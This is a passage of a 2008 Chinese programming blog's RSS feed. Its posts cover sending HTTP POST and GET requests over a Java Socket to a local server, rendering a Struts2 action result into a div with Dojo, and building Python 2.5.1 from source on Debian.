0);&quot;&gt;参考：&lt;/span&gt;&lt;br style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;1. &lt;a href=&quot;http://www.cjsdn.net/post/view?bid=1&amp;id=27072&amp;tpg=1&amp;ppg=1&amp;sty=1&amp;age=0&quot;&gt;http://www.cjsdn.net/post/view?bid=1&amp;id=27072&amp;tpg=1&amp;ppg=1&amp;sty=1&amp;age=0&lt;/a&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(0, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;2. &lt;a href=&quot;http://java.sun.com/javase/6/docs/technotes/guides/javaws/developersguide/launch.html&quot;&gt;http://java.sun.com/javase/6/docs/technotes/guides/javaws/developersguide/launch.html&lt;/a&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(0, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;3. &lt;a href=&quot;http://java.sun.com/javase/6/docs/technotes/guides/deployment/deployment-guide/autodl-files.html&quot;&gt;http://java.sun.com/javase/6/docs/technotes/guides/deployment/deployment-guide/autodl-files.html&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;&lt;/span&gt;&lt;/span&gt;-- &lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;&lt;br&gt; Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-3202467314740746383?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/03/java-javascript-applet-jre.html</link><author>borderj@gmail.com (Border)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-5574766163166215266</guid><pubDate>Sun, 16 Mar 2008 13:19:00 +0000</pubDate><atom:updated>2008-03-16T21:19:47.057+08:00</atom:updated><title>『Java 』 通过Java Socket 实现 Http Post Get 支持 HTTP/1.0 和 HTTP/1.1</title><description>&lt;br&gt;&lt;br&gt;&lt;br&gt;通过Socket实现Http的Post Get, 如果采用HTTP/1.1在访问的时候必须增加：&lt;br&gt;Host: 127.0.0.1:8080，也就是说在请求的时候必须增加服务器名。&lt;br&gt;&lt;br&gt;&lt;br&gt;package &lt;a href=&quot;http://com.border.net&quot;&gt;com.border.net&lt;/a&gt;;&lt;br&gt;&lt;br&gt;import java.io.BufferedReader;&lt;br&gt;import java.io.BufferedWriter;&lt;br&gt; import java.io.InputStreamReader;&lt;br&gt;import java.io.OutputStreamWriter;&lt;br&gt;import java.io.PrintWriter;&lt;br&gt;import java.net.Socket;&lt;br&gt;&lt;br&gt;public class SendPost {&lt;br&gt;&lt;br&gt;    /**&lt;br&gt;     * 通过Socket实现Http的Post Get&lt;br&gt;     * &lt;br&gt;      * HTTP/1.1 必须增加：Host: &lt;a href=&quot;http://127.0.0.1:8080&quot;&gt;127.0.0.1:8080&lt;/a&gt;&lt;br&gt;     * &lt;br&gt;     * @author border&lt;br&gt;     * @&lt;a href=&quot;Http://www.borderj.cn&quot;&gt;Http://www.borderj.cn&lt;/a&gt;&lt;br&gt;     * @since 2008.03.16&lt;br&gt;     * &lt;br&gt;      */&lt;br&gt;    public static void main(String[] args) {&lt;br&gt;        sendHttpPostSocket();&lt;br&gt;        httpGetSocket();&lt;br&gt;    }&lt;br&gt;    &lt;br&gt;    &lt;br&gt;    public static void sendHttpPostSocket() {&lt;br&gt;        try {&lt;br&gt;            System.out.println(&quot;Start sendPostSocket&quot;);&lt;br&gt;             &lt;br&gt;            // Construct data&lt;br&gt;            String data = &quot;Test String&quot;;&lt;br&gt;        &lt;br&gt;            // Create a socket to the host&lt;br&gt;            String hostname = &quot;&lt;a href=&quot;http://127.0.0.1&quot;&gt;127.0.0.1&lt;/a&gt;&quot;;&lt;br&gt;             int port = 8080;&lt;br&gt;            Socket socket = new Socket(hostname, port);&lt;br&gt;            &lt;br&gt;            // Send header&lt;br&gt;            String path = &quot;/Ccit/servlet/SMSlet&quot;;&lt;br&gt;            BufferedWriter wr = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), &quot;UTF8&quot;));&lt;br&gt;             wr.write(&quot;POST &quot;+ path +&quot; HTTP/1.1\n&quot;);&lt;br&gt;            &lt;br&gt;            // HTTP/1.1 requires requests to include a Host header&lt;br&gt;            wr.write(&quot;Host: 127.0.0.1:8080\n&quot;);&lt;br&gt;             &lt;br&gt;            wr.write(&quot;Content-Length: &quot;+ data.length() +&quot;\n&quot;);&lt;br&gt;            wr.write(&quot;Content-Type: application/x-www-form-urlencoded\n&quot;);&lt;br&gt;            wr.write(&quot;\r\n&quot;);&lt;br&gt;         &lt;br&gt;            // Send data&lt;br&gt;            wr.write(data);&lt;br&gt;            wr.flush();&lt;br&gt;        &lt;br&gt;            System.out.println(&quot;Post Send Succeed&quot;);&lt;br&gt;            &lt;br&gt;            // Get response&lt;br&gt;             BufferedReader rd = new BufferedReader(new InputStreamReader(socket.getInputStream()));&lt;br&gt;            String line;&lt;br&gt;            while ((line = rd.readLine()) != null) {&lt;br&gt;                System.out.println(line);&lt;br&gt;             }&lt;br&gt;            wr.close();&lt;br&gt;            rd.close();&lt;br&gt;            &lt;br&gt;            System.out.println(&quot;End sendPostSocket&quot;);&lt;br&gt;        } catch (Exception e) {&lt;br&gt;            System.out.println(&quot;Error: &quot; + e.getMessage());&lt;br&gt;             e.printStackTrace();&lt;br&gt;        }&lt;br&gt;    }&lt;br&gt;    &lt;br&gt;    public static void httpGetSocket() {&lt;br&gt;        try {&lt;br&gt;            System.out.println(&quot;Start httpGetSocket&quot;);&lt;br&gt;            &lt;br&gt;            // Create a socket to the host&lt;br&gt;             String hostname = &quot;&lt;a href=&quot;http://127.0.0.1&quot;&gt;127.0.0.1&lt;/a&gt;&quot;;&lt;br&gt;            int port = 8080;&lt;br&gt;            Socket socket = new Socket(hostname, port);&lt;br&gt;            &lt;br&gt;            boolean autoflush = true;&lt;br&gt;             &lt;br&gt;            PrintWriter out   = new PrintWriter( socket.getOutputStream(), autoflush );&lt;br&gt;            &lt;br&gt;//          send an HTTP request to the web server&lt;br&gt;            out.println(&quot;GET /index.jsp HTTP/1.1&quot;);&lt;br&gt;             &lt;br&gt;            //HTTP/1.1 requires requests to include a Host header&lt;br&gt;            out.println(&quot;Host: &lt;a href=&quot;http://127.0.0.1:8080&quot;&gt;127.0.0.1:8080&lt;/a&gt;&quot;);&lt;br&gt;            out.println();&lt;br&gt;            &lt;br&gt;             // Get response&lt;br&gt;            BufferedReader rd = new BufferedReader(new InputStreamReader(socket.getInputStream()));&lt;br&gt;            String line;&lt;br&gt;            while ((line = rd.readLine()) != null) {&lt;br&gt;                System.out.println(line);&lt;br&gt;             }&lt;br&gt;            rd.close();&lt;br&gt;            &lt;br&gt;            System.out.println(&quot;End httpGetSocket&quot;);&lt;br&gt;        } catch (Exception e) {&lt;br&gt;            System.out.println(&quot;Error: &quot; + e.getMessage());&lt;br&gt;             e.printStackTrace();&lt;br&gt;        }&lt;br&gt;    }&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;&lt;br&gt; Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-5574766163166215266?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/03/java-java-socket-http-post-get-http10.html</link><author>borderj@gmail.com (Border)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-3311880468688020023</guid><pubDate>Wed, 27 Feb 2008 13:05:00 +0000</pubDate><atom:updated>2008-02-27T21:05:38.601+08:00</atom:updated><title>Struts2的返回值放到DIV中( putting result of a STRUTS 2 action into a DIV)</title><description>&lt;br clear=&quot;all&quot;&gt;Struts2的返回值放到DIV中&lt;br&gt;&lt;br&gt;1. DojoHello.jsp&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;%@ page language=&quot;java&quot; import=&quot;java.util.*&quot; pageEncoding=&quot;UTF-8&quot;%&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;%@taglib prefix=&quot;s&quot; uri=&quot;/struts-tags&quot;%&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;html&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    &lt;head&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;title&gt; Dojo Hello World !&lt;/title&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;s:head theme=&quot;ajax&quot; debug=&quot;true&quot; /&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;script type=&quot;text/javascript&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        function submitAction()&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        {&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                var kw = {&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                    preventCache: true,&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                       url:    &quot;HelloWorld.action&quot;,&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                       handler:    function(type, data, evt) {&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                        var displayDiv = dojo.byId(&quot;showDIV&quot;);&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                        displayDiv.innerHTML = data;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                    },&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                 mimeType: &quot;text/html&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                };&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                dojo.io.bind(kw);&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;         }&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;/script&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    &lt;/head&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    &lt;body&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;button dojoType=&quot;Button&quot; widgetId=&quot;HelloButton&quot; onClick=&quot;submitAction&quot;&gt; 提交 &lt;/button&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;dir id=&quot;showDIV&quot;&gt;&lt;/dir&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    &lt;/body&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;/html&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;2. struts.xml&lt;br&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;action name=&quot;HelloWorld&quot; class=&quot;demo.HelloWorld&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;            &lt;result name=&quot;success&quot;&gt;/HelloWorld.jsp&lt;/result&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        &lt;/action&gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;3. HelloWorld.java&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;package demo;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;import java.text.DateFormat;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;import java.util.Date;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;import com.opensymphony.xwork2.ActionSupport;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;public class HelloWorld extends ActionSupport {&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    private String message;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    &lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    public String getMessage() {&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        return message;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    }&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    &lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    public String execute() {&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        message = &quot;Hello World, Now is &quot; + DateFormat.getInstance().format(new Date());&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        return SUCCESS;&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    }&lt;/span&gt;&lt;br style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;参考：&lt;a href=&quot;http://dojotoolkit.org/forum/dojo-0-4-x-legacy/dojo-0-4-x-support/putting-result-struts-2-action-div&quot;&gt;http://dojotoolkit.org/forum/dojo-0-4-x-legacy/dojo-0-4-x-support/putting-result-struts-2-action-div&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;-- &lt;br&gt;Blog:    &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;&lt;br&gt;  Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-3311880468688020023?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/02/struts2div-putting-result-of-struts-2.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-7347485591225089347</guid><pubDate>Sat, 26 Jan 2008 10:45:00 +0000</pubDate><atom:updated>2008-01-26T18:45:27.619+08:00</atom:updated><title>Install python2.5.1 on Debian</title><description>&lt;br&gt; Install python2.5.1 on Debian&lt;br&gt;&lt;br&gt;1. Down python2.5.1 from &lt;a href=&quot;http://python.org&quot;&gt;python.org&lt;/a&gt;&lt;br&gt;    Python-2.5.1# wget &lt;a href=&quot;http://www.python.org/ftp/python/2.5.1/Python-2.5.1.tgz&quot;&gt;http://www.python.org/ftp/python/2.5.1/Python-2.5.1.tgz&lt;/a&gt;&lt;br&gt;    &lt;br&gt;2. Install build environment&lt;br&gt;    Python-2.5.1# apt-get install build-essential&lt;br&gt;&lt;br&gt;3. Install python&lt;br&gt;    Python-2.5.1# tar zxvf Python-2.5.1.tgz &lt;br&gt;    Python-2.5.1# cd Python-2.5.1&lt;br&gt;    Python-2.5.1# ./configure &lt;br&gt;     Python-2.5.1# make&lt;br&gt;    Python-2.5.1# make install&lt;br&gt;&lt;br&gt;4. cd /usr/bin&lt;br&gt;   ln -s /usr/locale/bin/python2.5 python&lt;br&gt;&lt;br&gt;5. Good luck!&lt;br&gt;&lt;br&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;Blog:    &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt; &lt;br&gt;  Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-7347485591225089347?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/01/install-python251-on-debian.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item></channel></rss>